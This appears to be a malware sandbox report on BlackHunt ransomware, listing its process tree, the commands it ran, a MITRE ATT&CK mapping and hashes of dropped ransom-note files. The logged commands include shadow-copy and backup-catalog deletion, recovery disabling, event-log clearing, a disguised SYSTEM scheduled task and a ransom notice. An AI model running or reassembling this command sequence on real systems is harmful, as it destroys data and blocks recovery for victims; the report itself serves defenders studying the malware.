  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1992
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1060
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2460
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1984
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2448
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1036
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:1836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1088
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:3328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1376
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:3660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1980
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1136
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:3636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:764
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:3668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe" /F
  2⤵
  PID:1780
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:3200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1436
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:876
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:3312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2240
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2184
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:592
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:784
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:700
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:284
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2456
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1500
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:4552
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:4572
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:4592
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4716
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4700
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:5016
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:5004
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:5036
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:4792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:4972
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:5056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:4948
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:2776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:4940
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:2520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:4624
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:4612
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:4852
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:4856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:3916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:4460
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:4840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:4484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:4452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:4780
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:4836
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:5160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:4880
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:5264
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe"
  2⤵
  - Deletes itself
  PID:3636
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:5188

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3136

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3628

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:564

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2584

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:5044

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D C:\
1⤵
PID:4520

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D F:\
1⤵
- Enumerates connected drives
PID:4508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\#BlackHunt_Private.key

Filesize
1KB

MD5
973477d8218dc9ba28e0194b8315e53e

SHA1
d78fc0937dbc7791eac0aeff16b0fe39de5a6572

SHA256
9f1cb922681ff3ca8d80cfbf01d3b0890990688f2dad6bcde2d6a683cf42c028

SHA512
822a81e820192ed7ebc440b5c4ff1deb85833e483d7d5512f9523b76b2835722bfa1f26009b4029c23f86af3daeabf1ae27b8a4eb89e884612e6f59a169c2f65

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
4064d15d4900a2ef6cc9a95f8b66a621

SHA1
26b439a46e57c2b97e9962b1a9f2d1fcef12c452

SHA256
bb6849e9c8e11183911902a23a8f35e6285e16b1004cafb6fe091642cfb1fae9

SHA512
a1e577d7ed7122ca3fef8d4caa62f412e8e71058045e04f0fdb699e326e89d68526511341752a6654b3adb7e38c2dbad7f738df4b24af4526517cdc8195a4605

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
15190491e66cf3164e248e1bffa369d3

SHA1
7998c7242452cf41ebc90a9fc1476e298a79b425

SHA256
02ca8b1ca38534ca470677641056d198be0db15d68cca7641fd2fb0a1e0c36c5

SHA512
3d99374a7c0a16cd23999181f9845394066729110df1340a97a5d10a9ec6783a57c602f4eebf0fd85c3b23a01d0fc319933da5dbac9fde242334407ee6b52184

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads